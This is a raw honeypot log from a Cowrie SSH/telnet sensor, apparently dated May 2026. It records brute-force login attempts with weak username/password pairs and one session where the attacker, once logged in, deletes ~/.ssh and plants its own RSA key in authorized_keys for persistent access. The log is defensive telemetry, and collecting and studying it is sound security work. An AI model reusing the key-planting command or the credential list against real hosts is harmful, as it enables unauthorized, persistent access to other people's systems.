{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":51210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca36688835ec","protocol":"telnet","message":"New connection: 217.182.190.44:51210 (10.17.0.5:23) [session: ca36688835ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:01.160792Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":50518,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c028050bc51","protocol":"telnet","message":"New connection: 217.182.190.44:50518 (10.17.0.5:23) [session: 3c028050bc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:02.367593Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":42250,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d424c84b85","protocol":"ssh","message":"New connection: 103.69.96.120:42250 (159.203.135.109:22) [session: 48d424c84b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:04.954194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:04.959230Z","src_ip":"103.69.96.120","session":"48d424c84b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:05.209720Z","src_ip":"103.69.96.120","session":"48d424c84b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSXedc123","message":"login attempt [root/qazWSXedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:06.237891Z","src_ip":"103.69.96.120","session":"48d424c84b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:07.490666Z","src_ip":"103.69.96.120","session":"48d424c84b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55220,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee42b905f8a2","protocol":"telnet","message":"New connection: 174.138.46.234:55220 (159.203.135.109:23) [session: ee42b905f8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:09.426755Z"}
{"eventid":"cowrie.session.closed","duration":33.94196081161499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:12.368004Z","src_ip":"217.182.190.44","session":"b8e9923c3671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.8017778396606445,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:17.228421Z","src_ip":"174.138.46.234","session":"ee42b905f8a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":48862,"dst_ip":"159.203.135.109","dst_port":22,"session":"e651df1d95af","protocol":"ssh","message":"New connection: 181.39.158.30:48862 (159.203.135.109:22) [session: e651df1d95af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:20.822135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:20.826338Z","src_ip":"181.39.158.30","session":"e651df1d95af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:20.949149Z","src_ip":"181.39.158.30","session":"e651df1d95af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1q2w3e4r","message":"login attempt [vpn/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:21.457803Z","src_ip":"181.39.158.30","session":"e651df1d95af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:22.581774Z","src_ip":"181.39.158.30","session":"e651df1d95af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07574987411499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:34.236416Z","src_ip":"217.182.190.44","session":"ca36688835ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3821222782135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:37.749603Z","src_ip":"217.182.190.44","session":"3c028050bc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":47424,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab29c0393929","protocol":"telnet","message":"New connection: 217.182.190.44:47424 (10.17.0.5:23) [session: ab29c0393929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:15:59.614274Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb7b6ca6a41","protocol":"telnet","message":"New connection: 217.182.190.44:47004 (10.17.0.5:23) [session: 6bb7b6ca6a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:00.658057Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":52392,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5868656a656","protocol":"ssh","message":"New connection: 103.69.96.120:52392 (159.203.135.109:22) [session: f5868656a656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:06.084672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:06.090096Z","src_ip":"103.69.96.120","session":"f5868656a656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:06.339903Z","src_ip":"103.69.96.120","session":"f5868656a656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pan","message":"login attempt [root/pan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:07.361065Z","src_ip":"103.69.96.120","session":"f5868656a656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:08.612295Z","src_ip":"103.69.96.120","session":"f5868656a656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":40668,"dst_ip":"159.203.135.109","dst_port":22,"session":"b156592480fc","protocol":"ssh","message":"New connection: 181.39.158.30:40668 (159.203.135.109:22) [session: b156592480fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:16.270374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:16.275357Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:16.392092Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamsteam","message":"login attempt [steam/steamsteam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:16.887903Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.174059Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.177685Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.181873Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.304779Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.584103Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.587852Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.710032Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.714291Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":10478,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9abe75acfb","protocol":"ssh","message":"New connection: 181.39.158.30:10478 (159.203.135.109:22) [session: 1e9abe75acfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.822041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.827007Z","src_ip":"181.39.158.30","session":"1e9abe75acfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:17.942786Z","src_ip":"181.39.158.30","session":"1e9abe75acfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:18.441870Z","src_ip":"181.39.158.30","session":"1e9abe75acfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:19.561856Z","src_ip":"181.39.158.30","session":"1e9abe75acfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":10488,"dst_ip":"159.203.135.109","dst_port":22,"session":"466cb609dbe0","protocol":"ssh","message":"New connection: 181.39.158.30:10488 (159.203.135.109:22) [session: 466cb609dbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:19.676573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:19.707829Z","src_ip":"181.39.158.30","session":"466cb609dbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:19.826511Z","src_ip":"181.39.158.30","session":"466cb609dbe0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:20.327842Z","src_ip":"181.39.158.30","session":"466cb609dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:16:20.446743Z","src_ip":"181.39.158.30","session":"b156592480fc","protocol":"ssh"}
